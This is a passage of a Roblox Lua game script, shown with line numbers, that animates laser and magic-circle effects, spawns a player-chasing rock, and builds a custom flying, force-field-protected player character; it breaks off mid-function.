                                                                                local part_clone = part:Clone()
2273
                                                                                part.Archivable = archivable
2274
                                                                                part_clone.Archivable = archivable
2275
                                                                                part.CFrame = cframe * CFrame.new(0, 0, -0.5 * size.Z)
2276
                                                                                part_clone.CFrame = cframe * CFrame.new(0, 0, 0.5 * size.Z)
2277
                                                                                part_clone.Parent = model
2278
                                                                                table.insert(parts, part_clone)
2279
                                                                        end
2280
                                                                end
2281
                                                                for _, part in ipairs(parts) do
2282
                                                                        part:MakeJoints()
2283
                                                                end
2284
                                                        else
2285
                                                                break
2286
                                                        end
2287
                                                end
2288
                                        else
2289
                                                laser_distance = 9990
2290
                                                break
2291
                                        end
2292
                                end
2293
                        end
2294
                end
2295
                local laser_cframe = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
2296
                local laser_width = GraphicalEffects.LASER_WIDTH * opacity * laser_scale
2297
                local laser_mesh_offset = Vector3.new(0, 0.5 * laser_distance, 0)      
2298
                laser_part.CFrame = laser_cframe
2299
                if laser_effects then
2300
                        local laser_effect_data_1, laser_effect_data_2 = laser_effects[1], laser_effects[2]
2301
                        local laser_effect_1, laser_effect_mesh_1 = laser_effect_data_1[1], laser_effect_data_1[2]
2302
                        local laser_effect_2, laser_effect_mesh_2 = laser_effect_data_2[1], laser_effect_data_2[2]
2303
                        laser_effect_1.CFrame = laser_cframe
2304
                        laser_effect_2.CFrame = laser_cframe
2305
                        laser_effect_mesh_1.Offset = laser_mesh_offset
2306
                        laser_effect_mesh_2.Offset = laser_mesh_offset
2307
                        local game_time = time()
2308
                        local effect_scale_1 = 0.5 + 0.5 * math.sin(16 * math.pi * game_time)
2309
                        local effect_scale_2 = 0.5 + 0.5 * math.cos(16 * math.pi * game_time)
2310
                        laser_effect_mesh_1.Scale = 5 * Vector3.new(laser_width * effect_scale_1, laser_distance, laser_width * effect_scale_1)
2311
                        laser_effect_mesh_2.Scale = 5 * Vector3.new(laser_width * effect_scale_2, laser_distance, laser_width * effect_scale_2)
2312
                        laser_width = laser_width * 0.25
2313
                end
2314
                laser_mesh.Offset = laser_mesh_offset                  
2315
                laser_mesh.Scale = 5 * Vector3.new(laser_width, laser_distance, laser_width)
2316
                magic_circle_part.CFrame = magic_circle_cframe
2317
                magic_circle_light.Brightness = opacity
2318
                magic_circle_decal_back.Transparency = transparency
2319
                magic_circle_decal_front.Transparency = transparency
2320
                if light_effects then
2321
                        for index, data in ipairs(laser_lights) do
2322
                                local laser_spotlight_part, laser_spotlight = data[1], data[2]
2323
                                local laser_spotlight_offset = 30 * (index - 1)
2324
                                if laser_spotlight_offset <= laser_distance then
2325
                                        laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -laser_spotlight_offset)
2326
                                        laser_spotlight.Brightness = opacity
2327
                                        laser_spotlight.Enabled = true
2328
                                else
2329
                                        laser_spotlight.Enabled = false
2330
                                end
2331
                        end
2332
                end
2333
        end
2334
end
2335
function GraphicalEffects.ShootLaserOfDeath(target, data)
2336
        if chatAdornee then
2337
                data = data or {}
2338
                local brickcolor = data.brickcolor or BrickColor.new("Really black")
2339
                local duration = data.duration or 40
2340
                local fragmentation_size = data.fragmentation_size or 3
2341
                local laser_scale = data.laser_scale or 1
2342
                local light_color = data.light_color or Color3.new(1, 0.5, 1)
2343
                local magic_circle_image = data.magic_circle_image or "rbxassetid://122610943"
2344
                local magic_circle_scale = data.magic_circle_scale or 1
2345
                local sound_volume = data.sound_volume or 1 / 3
2346
                local special_effects = data.special_effects
2347
                local stay = data.stay or 4
2348
                local origin = chatAdornee.CFrame
2349
                local directionOrientation = origin:pointToObjectSpace(target)
2350
                local direction = (target - origin.p).unit
2351
                local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
2352
                local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
2353
                local magic_circle_model = Instance.new("Model")
2354
                local laser_part = Instance.new("Part", magic_circle_model)
2355
                local laser_mesh = Instance.new("CylinderMesh", laser_part)
2356
                local magic_circle_part = Instance.new("Part", magic_circle_model)
2357
                local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
2358
                local magic_circle_light = Instance.new("PointLight", magic_circle_part)
2359
                local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
2360
                local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
2361
                local sound = Instance.new("Sound", magic_circle_part)
2362
                sound.Pitch = 1.25
2363
                sound.SoundId = "rbxassetid://2248511"
2364
                sound.Volume = sound_volume
2365
                magic_circle_model.Archivable = false
2366
                laser_part.Anchored = true
2367
                laser_part.BottomSurface = "Smooth"
2368
                laser_part.BrickColor = brickcolor
2369
                laser_part.CanCollide = false
2370
                laser_part.CFrame = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
2371
                laser_part.FormFactor = "Custom"
2372
                laser_part.Locked = true
2373
                laser_part.Size = Vector3.new(0.2, 0.2, 0.2)
2374
                laser_part.TopSurface = "Smooth"
2375
                laser_mesh.Offset = Vector3.new(0, 0, 0)
2376
                laser_mesh.Name = "Mesh"
2377
                laser_mesh.Scale = 5 * laser_scale * Vector3.new(GraphicalEffects.LASER_WIDTH, 0, GraphicalEffects.LASER_WIDTH)
2378
                magic_circle_part.Anchored = true
2379
                magic_circle_part.BottomSurface = "Smooth"
2380
                magic_circle_part.CanCollide = false
2381
                magic_circle_part.CFrame = magic_circle_cframe
2382
                magic_circle_part.FormFactor = "Custom"
2383
                magic_circle_part.Locked = true
2384
                magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
2385
                magic_circle_part.TopSurface = "Smooth"
2386
                magic_circle_part.Transparency = 1
2387
                magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
2388
                magic_circle_light.Color = light_color
2389
                magic_circle_light.Range = 16 * magic_circle_scale
2390
                magic_circle_light.Shadows = true
2391
                magic_circle_decal_back.Face = "Back"
2392
                magic_circle_decal_back.Texture = magic_circle_image
2393
                magic_circle_decal_front.Face = "Front"
2394
                magic_circle_decal_front.Texture = magic_circle_image
2395
                magic_circle_model.Parent = Workspace
2396
                local laser_color = brickcolor.Color
2397
                local laser_lights = {}
2398
                local light_effects = laser_color.r + laser_color.g + laser_color.b > 0.25
2399
                if light_effects then
2400
                        local laser_spotlight_part_template = Instance.new("Part")
2401
                        local laser_spotlight_light_template = Instance.new("SpotLight", laser_spotlight_part_template)
2402
                        laser_spotlight_part_template.Anchored = true
2403
                        laser_spotlight_part_template.Anchored = true
2404
                        laser_spotlight_part_template.BottomSurface = "Smooth"
2405
                        laser_spotlight_part_template.CanCollide = false
2406
                        laser_spotlight_part_template.FormFactor = "Custom"
2407
                        laser_spotlight_part_template.Locked = true
2408
                        laser_spotlight_part_template.Size = Vector3.new(0.2, 0.2, 0.2)
2409
                        laser_spotlight_part_template.TopSurface = "Smooth"
2410
                        laser_spotlight_part_template.Transparency = 1
2411
                        laser_spotlight_light_template.Angle = 45
2412
                        laser_spotlight_light_template.Color = laser_color
2413
                        laser_spotlight_light_template.Enabled = true
2414
                        laser_spotlight_light_template.Name = "Light"
2415
                        laser_spotlight_light_template.Range = 60
2416
                        for index = 1, 40 do
2417
                                local laser_spotlight_part = laser_spotlight_part_template:Clone()
2418
                                laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -30 * (index - 1))
2419
                                laser_spotlight_part.Parent = magic_circle_model
2420
                                laser_lights[index] = {laser_spotlight_part, laser_spotlight_part.Light}
2421
                        end
2422
                end
2423
                local laser_effects
2424
                if special_effects then
2425
                        laser_effects = {}
2426
                        local laser_effect_1 = laser_part:Clone()
2427
                        laser_effect_1.BrickColor = special_effects
2428
                        laser_effect_1.Transparency = 0.5
2429
                        local laser_effect_2 = laser_effect_1:Clone()
2430
                        laser_effects[1], laser_effects[2] = {laser_effect_1, laser_effect_1.Mesh}, {laser_effect_2, laser_effect_2.Mesh}
2431
                        laser_effect_1.Parent = magic_circle_model
2432
                        laser_effect_2.Parent = magic_circle_model
2433
                end
2434
                GraphicalEffects.laser_data[{0, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part,
2435
 
2436
magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay,
2437
 
2438
light_effects}] = true
2439
        end
2440
end
2441
2442
function GraphicalEffects.SpawnSapientRock(position)
2443
	local part = Instance.new("Part", Workspace)
2444
	local size = 8 + math.random(0, 5)
2445
	part.BottomSurface = "Smooth"
2446
	part.TopSurface = "Smooth"
2447
	part.Material = "Slate"
2448
	part.Locked = true
2449
	part.Shape = "Ball"
2450
	part.FormFactor = "Custom"
2451
	part.Size = Vector3.new(size, size, size)
2452
	part.Position = position
2453
	local bodypos = Instance.new("BodyPosition", part)
2454
	bodypos.maxForce = Vector3.new(0, 0, 0)
2455
	local angry = false
2456
	local damage_ready = true
2457
	local torso_following
2458
	local torso_changed = -1000
2459
	local touched_conn = part.Touched:connect(function(hit)
2460
		local character = hit.Parent
2461
		if character then
2462
			local humanoid
2463
			for _, child in ipairs(character:GetChildren()) do
2464
				if child:IsA("Humanoid") then
2465
					humanoid = child
2466
					break
2467
				end
2468
			end
2469
			if humanoid then
2470
				if angry then
2471
					if damage_ready then
2472
						damage_ready = false
2473
						humanoid:TakeDamage(100)
2474
						wait(1)
2475
						damage_ready = true
2476
						angry = false
2477
						part.BrickColor = BrickColor.new("Medium stone grey")
2478
					end
2479
				else
2480
					local torso = humanoid.Torso
2481
					if torso then
2482
						torso_following = torso
2483
						torso_changed = tick()
2484
					end
2485
				end
2486
			end
2487
		end
2488
	end)
2489
	TaskScheduler.Start(function()
2490
		while part.Parent == Workspace do
2491
			if torso_following then
2492
				bodypos.position = torso_following.Position
2493
				if tick() - torso_changed > 60 or not torso_following.Parent then
2494
					torso_following = nil
2495
					bodypos.maxForce = Vector3.new(0, 0, 0)
2496
					angry = false
2497
					part.BrickColor = BrickColor.new("Medium stone grey")
2498
				else
2499
					local speed = angry and Vector3.new(16, 16, 16) or Vector3.new(6, 0, 6)
2500
					bodypos.maxForce = part:GetMass() * speed
2501
					if part.Position.Y < -250 then
2502
						part.Velocity = Vector3.new()
2503
						part.Position = torso_following.Position + Vector3.new(0, 80, 0)
2504
						part.BrickColor = BrickColor.new("Bright red")
2505
						angry = true
2506
						torso_changed = tick()
2507
					end
2508
				end
2509
			end
2510
			RunService.Stepped:wait()
2511
		end
2512
		touched_conn:disconnect()
2513
	end)
2514
	TaskScheduler.Start(function()
2515
		while part.Parent == Workspace do
2516
			wait(25 + math.random() * 10)
2517
			local next_size = 8 + math.random() * 5
2518
			if math.random(100) == 1 then
2519
				next_size = next_size * (2 + 6 * math.random())
2520
			end
2521
			next_size = math.floor(next_size + 0.5)
2522
			local start_time = tick()
2523
			local mesh = Instance.new("SpecialMesh", part)
2524
			mesh.MeshType = "Sphere"
2525
			repeat
2526
				local elapsed_time = tick() - start_time
2527
				local alpha = math.cos(elapsed_time * math.pi * 0.5)
2528
				local interpolated_size = size * alpha + next_size * (1 - alpha)
2529
				local size_vector = Vector3.new(interpolated_size, interpolated_size, interpolated_size)
2530
				local cframe = part.CFrame
2531
				part.Size = size_vector
2532
				part.CFrame = cframe
2533
				mesh.Scale = size_vector / part.Size
2534
				RunService.Stepped:wait()
2535
			until tick() - start_time >= 1
2536
			mesh:Destroy()
2537
			local cframe = part.CFrame
2538
			part.Size = Vector3.new(next_size, next_size, next_size)
2539
			part.CFrame = cframe
2540
			size = next_size
2541
		end
2542
	end)
2543
end
2544
2545
function GraphicalEffects.MainLoop()
2546
        RunService.Stepped:wait()
2547
        for data in pairs(GraphicalEffects.magicCircleData) do
2548
                GraphicalEffects.AnimateMagicCircle(data)
2549
        end
2550
        for data in pairs(GraphicalEffects.laser_data) do
2551
                GraphicalEffects.AnimateLaserOfDeath(data)
2552
        end
2553
        for data in pairs(GraphicalEffects.missileData) do
2554
                GraphicalEffects.AnimateMissile(data)
2555
        end
2556
end
2557
TaskScheduler.Start(function()
2558
        while true do
2559
                GraphicalEffects.MainLoop()
2560
        end
2561
end)
2562
2563
PlayerControl = {};
2564
2565
PlayerControl.fly_acceleration = 10
2566
PlayerControl.fly_basespeed = 250
2567
PlayerControl.fly_speed = PlayerControl.fly_basespeed
2568
PlayerControl.featherfallEnabled = true
2569
PlayerControl.pushable = false
2570
PlayerControl.rolling = false
2571
PlayerControl.rollingAngle = 0
2572
PlayerControl.rollingOffset = 0
2573
PlayerControl.rollingMaxOffset = 3
2574
PlayerControl.rollingSpeed = 1 / 50
2575
PlayerControl.characterEnabled = false
2576
PlayerControl.characterMode = "normal"
2577
local character = nil
2578
local flying, flyingMomentum, flyingTilt = false, Vector3.new(), 0
2579
local pose, regeneratingHealth, jumpDebounce = "Standing", false, false
2580
-- TODO: make local variables public
2581
local model, bodyColors, leftArmMesh, leftLegMesh, rightArmMesh, rightLegMesh, torsoMesh, wildcardHat, wildcardHandle, wildcardMesh, pants, shirt, humanoid, 
2582
2583
head, leftArm, leftLeg, rightArm, rightLeg, torso, rootPart, rootJoint, face, soundFreeFalling, soundGettingUp, soundRunning, leftHip, leftShoulder, 
2584
2585
rightHip, rightShoulder, neck, wildcardWeld, feetPart, feetWeld, feetTouchInterest, bodyGyro, bodyVelocity, headMesh, torsoLight
2586
local AnimateCharacter
2587
local UserInterface = game:service'UserInputService'
2588
local chatBubbles = {}
2589
local chatCharacterLimit = 240
2590
function PlayerControl.CreateCharacter()
2591
	local characterMode = PlayerControl.characterMode
2592
	if characterMode == "normal" then
2593
		if not PlayerControl.characterEnabled then
2594
			return
2595
		end
2596
		local appearance = CharacterAppearance.GetDefaultAppearance()
2597
		local active = true
2598
		local torsoCFrame = (torso and torso.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
2599
		if torsoCFrame.p.Y < -450 then
2600
			torsoCFrame = CFrame.new(0, 10, 0)
2601
		end
2602
		local rootPartCFrame = (rootPart and rootPart.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
2603
		if rootPartCFrame.p.Y < -450 then
2604
			rootPartCFrame = CFrame.new(0, 10, 0)
2605
		end
2606
		local cameraCFrame = Camera.CoordinateFrame
2607
		local connections = {}
2608
		local feetTouching = {}
2609
		local previousWalkSpeed = 0
2610
		local prevLeftHip, prevLeftShoulder, prevRightHip, prevRightShoulder = leftHip, leftShoulder, rightHip, rightShoulder
2611
		model = Instance.new("Model")
2612
		humanoid = Instance.new("Humanoid", model)
2613
		head = Instance.new("Part", model)
2614
		leftArm = Instance.new("Part", model)
2615
		leftLeg = Instance.new("Part", model)
2616
		rightArm = Instance.new("Part", model)
2617
		rightLeg = Instance.new("Part", model)
2618
		torso = Instance.new("Part", model)
2619
		rootPart = Instance.new("Part", model)
2620
		soundFallingDown = Instance.new("Sound", head)
2621
		soundFreeFalling = Instance.new("Sound", head)
2622
		soundGettingUp = Instance.new("Sound", head)
2623
		soundJumping = Instance.new("Sound", head)
2624
		soundRunning = Instance.new("Sound", head)
2625
		leftHip = Instance.new("Motor", torso)
2626
		leftShoulder = Instance.new("Motor", torso)
2627
		rightHip = Instance.new("Motor", torso)
2628
		rightShoulder = Instance.new("Motor", torso)
2629
		neck = Instance.new("Motor", torso)
2630
		rootJoint = Instance.new("Motor", rootPart)
2631
		feetPart = Instance.new("Part", model)
2632
		feetWeld = Instance.new("Weld", torso)
2633
		bodyGyro = Instance.new("BodyGyro", rootPart)
2634
		bodyVelocity = Instance.new("BodyVelocity", rootPart)
2635
		model.Archivable = false
2636
		model.Name = user_name or Player.Name
2637
		model.PrimaryPart = head
2638
		humanoid.LeftLeg = leftLeg
2639
		humanoid.RightLeg = rightLeg
2640
		humanoid.Torso = rootPart
2641
		head.CFrame = torsoCFrame * CFrame.new(0, 1.5, 0)
2642
		head.FormFactor = "Symmetric"
2643
		head.Locked = true
2644
		head.Name = "Head"
2645
		head.Size = Vector3.new(2, 1, 1)
2646
		head.TopSurface = "Smooth"
2647
		leftArm.CanCollide = false
2648
		leftArm.CFrame = torsoCFrame * CFrame.new(-1.5, 0, 0)
2649
		leftArm.FormFactor = "Symmetric"
2650
		leftArm.Locked = true
2651
		leftArm.Name = "Left Arm"
2652
		leftArm.Size = Vector3.new(1, 2, 1)
2653
		leftLeg.BottomSurface = "Smooth"
2654
		leftLeg.CanCollide = false
2655
		leftLeg.CFrame = torsoCFrame * CFrame.new(-0.5, -2, 0)
2656
		leftLeg.FormFactor = "Symmetric"
2657
		leftLeg.Locked = true
2658
		leftLeg.Name = "Left Leg"
2659
		leftLeg.Size = Vector3.new(1, 2, 1)
2660
		leftLeg.TopSurface = "Smooth"
2661
		rightArm.CanCollide = false
2662
		rightArm.CFrame = torsoCFrame * CFrame.new(1.5, 0, 0)
2663
		rightArm.FormFactor = "Symmetric"
2664
		rightArm.Locked = true
2665
		rightArm.Name = "Right Arm"
2666
		rightArm.Size = Vector3.new(1, 2, 1)
2667
		rightLeg.BottomSurface = "Smooth"
2668
		rightLeg.CanCollide = false
2669
		rightLeg.CFrame = torsoCFrame * CFrame.new(0.5, -2, 0)
2670
		rightLeg.FormFactor = "Symmetric"
2671
		rightLeg.Locked = true
2672
		rightLeg.Name = "Right Leg"
2673
		rightLeg.Size = Vector3.new(1, 2, 1)
2674
		rightLeg.TopSurface = "Smooth"
2675
		torso.CFrame = torsoCFrame
2676
		torso.FormFactor = "Symmetric"
2677
		torso.LeftSurface = "Weld"
2678
		torso.Locked = true
2679
		torso.RightSurface = "Weld"
2680
		torso.Name = "Torso"
2681
		torso.Size = Vector3.new(2, 2, 1)
2682
		rootPart.BottomSurface = "Smooth"
2683
		rootPart.BrickColor = BrickColor.Blue()
2684
		rootPart.CFrame = rootPartCFrame
2685
		rootPart.FormFactor = "Symmetric"
2686
		rootPart.LeftSurface = "Weld"
2687
		rootPart.Locked = true
2688
		rootPart.RightSurface = "Weld"
2689
		rootPart.Name = "HumanoidRootPart"
2690
		rootPart.Size = Vector3.new(2, 2, 1)
2691
		rootPart.TopSurface = "Smooth"
2692
		rootPart.Transparency = 1
2693
		soundFreeFalling.Archivable = false
2694
		soundFreeFalling.SoundId = "rbxasset://sounds/swoosh.wav"
2695
		soundGettingUp.Archivable = false
2696
		soundGettingUp.SoundId = "rbxasset://sounds/hit.wav"
2697
		soundRunning.Archivable = false
2698
		soundRunning.SoundId = "rbxasset://sounds/bfsl-minifigfoots1.mp3"
2699
		soundRunning.Looped = true
2700
		leftHip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
2701
		leftHip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
2702
		leftHip.MaxVelocity = 0.1
2703
		leftHip.Name = "Left Hip"
2704
		leftHip.Part0 = torso
2705
		leftHip.Part1 = leftLeg
2706
		leftShoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
2707
		leftShoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
2708
		leftShoulder.MaxVelocity = 0.15
2709
		leftShoulder.Name = "Left Shoulder"
2710
		leftShoulder.Part0 = torso
2711
		leftShoulder.Part1 = leftArm
2712
		rightHip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
2713
		rightHip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
2714
		rightHip.MaxVelocity = 0.1
2715
		rightHip.Name = "Right Hip"
2716
		rightHip.Part0 = torso
2717
		rightHip.Part1 = rightLeg
2718
		rightShoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
2719
		rightShoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
2720
		rightShoulder.MaxVelocity = 0.15
2721
		rightShoulder.Name = "Right Shoulder"
2722
		rightShoulder.Part0 = torso
2723
		rightShoulder.Part1 = rightArm
2724
		if prevLeftHip then
2725
			leftHip.CurrentAngle = prevLeftHip.CurrentAngle
2726
			leftHip.DesiredAngle = prevLeftHip.DesiredAngle
2727
		end
2728
		if prevLeftShoulder then
2729
			leftShoulder.CurrentAngle = prevLeftShoulder.CurrentAngle
2730
			leftShoulder.DesiredAngle = prevLeftShoulder.DesiredAngle
2731
		end
2732
		if prevRightHip then
2733
			rightHip.CurrentAngle = prevRightHip.CurrentAngle
2734
			rightHip.DesiredAngle = prevRightHip.DesiredAngle
2735
		end
2736
		if prevRightShoulder then
2737
			rightShoulder.CurrentAngle = prevRightShoulder.CurrentAngle
2738
			rightShoulder.DesiredAngle = prevRightShoulder.DesiredAngle
2739
		end
2740
		neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
2741
		neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
2742
		neck.Name = "Neck"
2743
		neck.Part0 = torso
2744
		neck.Part1 = head
2745
		rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
2746
		rootJoint.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
2747
		rootJoint.Name = "RootJoint"
2748
		rootJoint.Part0 = rootPart
2749
		rootJoint.Part1 = torso
2750
		feetPart.BottomSurface = "Smooth"
2751
		feetPart.CanCollide = false
2752
		feetPart.CFrame = torsoCFrame * CFrame.new(0, -3.1, 0)
2753
		feetPart.FormFactor = "Custom"
2754
		feetPart.Locked = true
2755
		feetPart.Name = "Platform"
2756
		feetPart.Size = Vector3.new(1.8, 0.2, 0.8)
2757
		feetPart.TopSurface = "Smooth"
2758
		feetPart.Transparency = 1
2759
		feetWeld.C0 = CFrame.new(0, -3, 0)
2760
		feetWeld.C1 = CFrame.new(0, 0.1, 0)
2761
		feetWeld.Name = "PlatformWeld"
2762
		feetWeld.Part0 = torso
2763
		feetWeld.Part1 = feetPart
2764
		table.insert(connections, feetPart.Touched:connect(function(hit)
2765
			feetTouching[hit] = true
2766
		end))
2767
		table.insert(connections, feetPart.TouchEnded:connect(function(hit)
2768
			feetTouching[hit] = nil
2769
		end))
2770
		feetTouchInterest = feetPart:FindFirstChild("TouchInterest")
2771
		bodyGyro.D = 3250
2772
		bodyGyro.P = 400000
2773
		bodyGyro.maxTorque = Vector3.new(1000000000, 0, 1000000000)
2774
		bodyVelocity.P = 5000
2775
		bodyVelocity.maxForce = Vector3.new(0, 0, 0)
2776
		bodyVelocity.velocity = Vector3.new(0, 0, 0)
2777
		torsoLight = Instance.new("PointLight", torso)
2778
		torsoLight.Brightness = 0.4
2779
		torsoLight.Color = Color3.new(1, 1, 1)
2780
		torsoLight.Range = 16
2781
		torsoLight.Shadows = true
2782
		local ff1, ff2, ff3, ff4, ff5, ff6, ff7, ff8, ff9 = Instance.new("ForceField", head), Instance.new("ForceField", leftArm), Instance.new("ForceField", leftLeg), Instance.new("ForceField", rightArm), Instance.new("ForceField", rightLeg), Instance.new("ForceField", torso), Instance.new("ForceField", wildcardHandle), Instance.new("ForceField", feetPart), Instance.new("ForceField", rootPart)
2783
		local forcefields = {[ff1] = head, [ff2] = leftArm, [ff3] = leftLeg, [ff4] = rightArm, [ff5] = rightLeg, [ff6] = torso, [ff7] = wildcardHandle, [ff8] = feetPart, [ff9] = rootPart}	
2784
		local objects = {[humanoid] = true, [head] = true, [leftArm] = true, [leftLeg] = true, [rightArm] = true, [rightLeg] = true, [torso] = true, [rootPart] = true, [rootJoint] = true, [soundFreeFalling] = true, [soundGettingUp] = true, [soundRunning] = true, [leftHip] = true, [leftShoulder] = true, [rightHip] = true, [rightShoulder] = true, [neck] = true, [feetPart] = true, [feetWeld] = true, [feetTouchInterest] = true, [bodyGyro] = true, [bodyVelocity] = true, [ff1] = true, [ff2] = true, [ff3] = true, [ff4] = true, [ff5] = true, [ff6] = true, [ff7] = true, [ff8] = true, [ff9] = true}		
2785
		local tshirtUrl = appearance.tshirt
2786
		if tshirtUrl then
2787
			local tshirt = Instance.new("Decal", torso)
2788
			tshirt.Name = "roblox"
2789
			tshirt.Texture = tshirtUrl
2790
			objects[tshirt] = true
2791
		end
2792
		for _, template in ipairs(appearance.characterObjects) do
2793
			local object = template:Clone()
2794
			local newObjects = {object}
2795
			for _, object in ipairs(newObjects) do
2796
				objects[object] = true
2797
				for _, child in ipairs(object:GetChildren()) do
2798
					table.insert(newObjects, child)
2799
				end				
2800
			end
2801
			if object:IsA("BodyColors") then
2802
				head.BrickColor = object.HeadColor
2803
				leftArm.BrickColor = object.LeftArmColor
2804
				leftLeg.BrickColor = object.LeftLegColor
2805
				rightArm.BrickColor = object.RightArmColor
2806
				rightLeg.BrickColor = object.RightLegColor
2807
				torso.BrickColor = object.TorsoColor
2808
			elseif object:IsA("Hat") then
2809
				local handle = object:FindFirstChild("Handle")
2810
				if handle and handle:IsA("BasePart") then
2811
					local weld = Instance.new("Weld", head)
2812
					weld.C0 = CFrame.new(0, 0.5, 0)
2813
					local attachmentPos = object.AttachmentPos
2814
					local attachmentRight = object.AttachmentRight
2815
					local attachmentUp = object.AttachmentUp
2816
					local attachmentForward = object.AttachmentForward
2817
					weld.C1 = CFrame.new(attachmentPos.X, attachmentPos.Y, attachmentPos.Z,
2818
										 attachmentRight.X, attachmentUp.X, -attachmentForward.X,
2819
										 attachmentRight.Y, attachmentUp.Y, -attachmentForward.Y,
2820
										 attachmentRight.Z, attachmentUp.Z, -attachmentForward.Z)
2821
					weld.Name = "HeadWeld"
2822
					weld.Part0 = head
2823
					weld.Part1 = handle
2824
					handle.Parent = model
2825
					local antiGravity = Instance.new("BodyForce", handle)
2826
					antiGravity.force = Vector3.new(0, handle:GetMass() * 196.2, 0)
2827
					objects[object] = false
2828
					object.Parent = nil
2829
					objects[weld] = true
2830
				end
2831
			end
2832
			object.Parent = model
2833
		end
2834
		local facePresent = false
2835
		local headMeshPresent = false
2836
		for _, template in ipairs(appearance.headObjects) do
2837
			local object = template:Clone()
2838
			local newObjects = {object}
2839
			for _, object in ipairs(newObjects) do
2840
				objects[object] = true
2841
				for _, child in ipairs(object:GetChildren()) do
2842
					table.insert(newObjects, child)
2843
				end				
2844
			end
2845
			if object:IsA("DataModelMesh") then
2846
				headMeshPresent = true
2847
			elseif object:IsA("Decal") then
2848
				facePresent = true
2849
			end
2850
			object.Parent = head
2851
		end
2852
		if not facePresent then
2853
			local face = Instance.new("Decal", head)
2854
			face.Texture = "rbxasset://textures/face.png"
2855
			objects[face] = true
2856
		end
2857
		if not headMeshPresent then
2858
			local headMesh = Instance.new("SpecialMesh", head)
2859
			headMesh.Scale = Vector3.new(1.25, 1.25, 1.25)
2860
			objects[headMesh] = true
2861
		end
2862
		table.insert(connections, model.DescendantAdded:connect(function(object)
2863
			local success, is_localscript = pcall(Game.IsA, object, "LocalScript")
2864
			if success and is_localscript then
2865
				pcall(Utility.SetProperty, object, "Disabled", true)
2866
				local changed_connection = pcall(object.Changed.connect, object.Changed, function(property)
2867
					if property == "Disabled" and not object.Disabled then
2868
						pcall(Utility.SetProperty, object, "Disabled", true)
2869
						object:Destroy()
2870
					end
2871
				end)
2872
			end
2873
			if not objects[object] then
2874
				object:Destroy()
2875
			end
2876
		end))
2877
		model.Parent = Workspace
2878
		Player.Character = model
2879
		Camera.CameraSubject = humanoid
2880
		Camera.CameraType = "Track"
2881
		Camera.CoordinateFrame = cameraCFrame
2882
		local IsStanding
2883
		local RegenerateHealth
2884
		local ResetCharacter
2885
		function IsStanding()
2886
			return not not next(feetTouching)
2887
		end
2888
		function RegenerateHealth()
2889
			if humanoid.Health < 1 then
2890
				humanoid.Health = 100
2891
			elseif not regeneratingHealth then
2892
				regeneratingHealth = true
2893
				local elapsedTime = wait(1)
2894
				regeneratingHealth = false
2895
				if humanoid.Health < 100 then
2896
					humanoid.Health = math.min(humanoid.Health + elapsedTime, 100)
2897
				end
2898
			end
2899
		end
2900
		function ResetCharacter()
2901
			for index, connection in ipairs(connections) do
2902
				connection:disconnect()
2903
			end
2904
			active = false
2905
		end
2906
		table.insert(connections, model.AncestryChanged:connect(ResetCharacter))
2907
		table.insert(connections, model.DescendantRemoving:connect(function(object)
2908
			local parent = forcefields[object]
2909
			if parent then
2910
				forcefields[object] = nil
2911
				local new_forcefield = Instance.new("ForceField")
2912
				forcefields[new_forcefield] = parent
2913
				objects[new_forcefield] = true
2914
				new_forcefield.Parent = parent
2915
			elseif objects[object] then
2916
				ResetCharacter()
2917
			end
2918
		end))
2919
		table.insert(connections, humanoid.HealthChanged:connect(RegenerateHealth))
2920
		table.insert(connections, humanoid.Climbing:connect(function() pose = "Climbing" end))
2921
		table.insert(connections, humanoid.FallingDown:connect(function(state)  pose = "FallingDown" end))
2922
		table.insert(connections, humanoid.FreeFalling:connect(function(state) pose = "FreeFall" if state then soundFreeFalling:Play() else 
2923
2924
soundFreeFalling:Pause() end end))
2925
		table.insert(connections, humanoid.GettingUp:connect(function(state) pose = "GettingUp" if state then soundGettingUp:Play() else 
2926
2927
soundGettingUp:Pause() end end))
2928
		table.insert(connections, humanoid.PlatformStanding:connect(function() pose = "PlatformStanding" end))
2929
		table.insert(connections, humanoid.Seated:connect(function() pose = "Seated" end))
2930
		table.insert(connections, humanoid.Swimming:connect(function(speed) if speed > 0 then pose = "Swimming" else pose = "Standing" end end))
2931
		local previousRootPartCFrame = rootPart.CFrame
2932
		TaskScheduler.Start(function()
2933
			while active do
2934
				local totalTime = TaskScheduler.GetCurrentTime()
2935
